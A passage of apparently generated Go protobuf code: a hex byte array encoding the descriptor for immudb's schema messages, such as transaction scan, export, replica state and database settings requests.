0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e,\n\t0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x22, 0x47, 0x0a, 0x0d, 0x45, 0x6e, 0x74,\n\t0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x12, 0x36, 0x0a, 0x06, 0x61, 0x63,\n\t0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d,\n\t0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79,\n\t0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69,\n\t0x6f, 0x6e, 0x22, 0xf5, 0x01, 0x0a, 0x13, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c,\n\t0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78,\n\t0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72,\n\t0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04,\n\t0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x3c,\n\t0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20,\n\t0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68,\n\t0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52,\n\t0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07,\n\t0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73,\n\t0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74,\n\t0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x3a,\n\t0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73,\n\t0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08,\n\t0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73,\n\t0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xc7, 0x01, 0x0a, 0x0d, 0x54,\n\t0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09,\n\t0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52,\n\t0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69,\n\t0x6d, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74,\n\t0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04,\n\t0x64, 0x65, 0x73, 0x63, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53,\n\t0x70, 0x65, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65,\n\t0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70,\n\t0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20,\n\t0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06,\n\t0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f,\n\t0x57, 0x61, 0x69, 0x74, 0x22, 0x2d, 0x0a, 0x06, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23,\n\t0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d,\n\t0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x03,\n\t0x74, 0x78, 0x73, 0x22, 0xc0, 0x01, 0x0a, 0x0f, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78,\n\t0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20,\n\t0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x2c, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77,\n\t0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01,\n\t0x28, 0x08, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d,\n\t0x69, 0x74, 0x74, 0x65, 0x64, 0x12, 0x3f, 0x0a, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61,\n\t0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d,\n\t0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c,\n\t0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63,\n\t0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x0a, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e,\n\t0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x18, 0x04, 0x20, 0x01,\n\t0x28, 0x08, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74,\n\t0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x22, 0xc2, 0x01, 0x0a, 0x0c, 0x52, 0x65, 0x70, 0x6c, 0x69,\n\t0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18,\n\t0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x24, 0x0a, 0x0d, 0x63,\n\t0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01,\n\t0x28, 0x04, 0x52, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49,\n\t0x44, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c,\n\t0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74,\n\t0x65, 0x64, 0x41, 0x6c, 0x68, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d,\n\t0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52,\n\t0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49,\n\t0x44, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65,\n\t0x64, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x70, 0x72, 0x65, 0x63,\n\t0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x22, 0x2e, 0x0a, 0x08, 0x44,\n\t0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62,\n\t0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64,\n\t0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc0, 0x03, 0x0a, 0x10,\n\t0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73,\n\t0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65,\n\t0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65,\n\t0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18,\n\t0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x28,\n\t0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73,\n\t0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79,\n\t0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d,\n\t0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x70,\n\t0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72,\n\t0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52,\n\t0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f,\n\t0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18,\n\t0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73,\n\t0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72,\n\t0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52,\n\t0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64,\n\t0x12, 0x1a, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01,\n\t0x28, 0x0d, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09,\n\t0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0d, 0x52,\n\t0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x20, 0x0a, 0x0b, 0x6d, 0x61,\n\t0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0d, 0x52,\n\t0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x22, 0x0a, 0x0c,\n\t0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01,\n\t0x28, 0x0d, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73,\n\t0x12, 0x2c, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69,\n\t0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x65, 0x78, 0x63,\n\t0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x22, 0x92,\n\t0x01, 0x0a, 0x15, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73,\n\t0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65,\n\t0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08,\n\t0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27,\n\t0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44,\n\t0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53,\n\t0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67,\n\t0x73, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73,\n\t0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69,\n\t0x73, 0x74, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x16, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61,\n\t0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x12,\n\t0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61,\n\t0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02,\n\t0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63,\n\t0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c,\n\t0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73,\n\t0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x26, 0x0a, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61,\n\t0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52,\n\t0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x22,\n\t0x78, 0x0a, 0x15, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73,\n\t0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61,\n\t0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61,\n\t0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73,\n\t0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e,\n\t0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52,\n\t0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x79, 0x0a, 0x16, 0x55, 0x70, 0x64,\n\t0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f,\n\t0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18,\n\t0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12,\n\t0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28,\n\t0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d,\n\t0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62,\n\t0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74,\n\t0x69, 0x6e, 0x67, 0x73, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65,\n\t0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22,\n\t0x7b, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69,\n\t0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64,\n\t0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64,\n\t0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69,\n\t0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61,\n\t0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e,\n\t0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x26, 0x0a, 0x0e,\n\t0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x12, 0x14,\n\t0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76,\n\t0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65,\n\t0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18,\n\t0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x25, 0x0a, 0x0d,\n\t0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x12, 0x14, 0x0a,\n\t0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61,\n\t0x6c, 0x75, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42,\n\t0x6f, 0x6f, 0x6c, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01,\n\t0x28, 0x08, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c,\n\t0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x05, 0x76,\n\t0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75,\n\t0x65, 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c,\n\t0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c,\n\t0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22,\n\t0xd2, 0x0e, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c,\n\t0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x5c, 0x0a, 0x13,\n\t0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69,\n\t0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2a, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63,\n\t0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74,\n\t0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69,\n\t0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x39, 0x0a, 0x08, 0x66, 0x69,\n\t0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69,\n\t0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c,\n\t0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x66, 0x69, 0x6c,\n\t0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3b, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c,\n\t0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64,\n\t0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c,\n\t0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c,\n\t0x65, 0x6e, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65,\n\t0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65,\n\t0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65,\n\t0x4c, 0x65, 0x6e, 0x12, 0x41, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72,\n\t0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x73, 0x63, 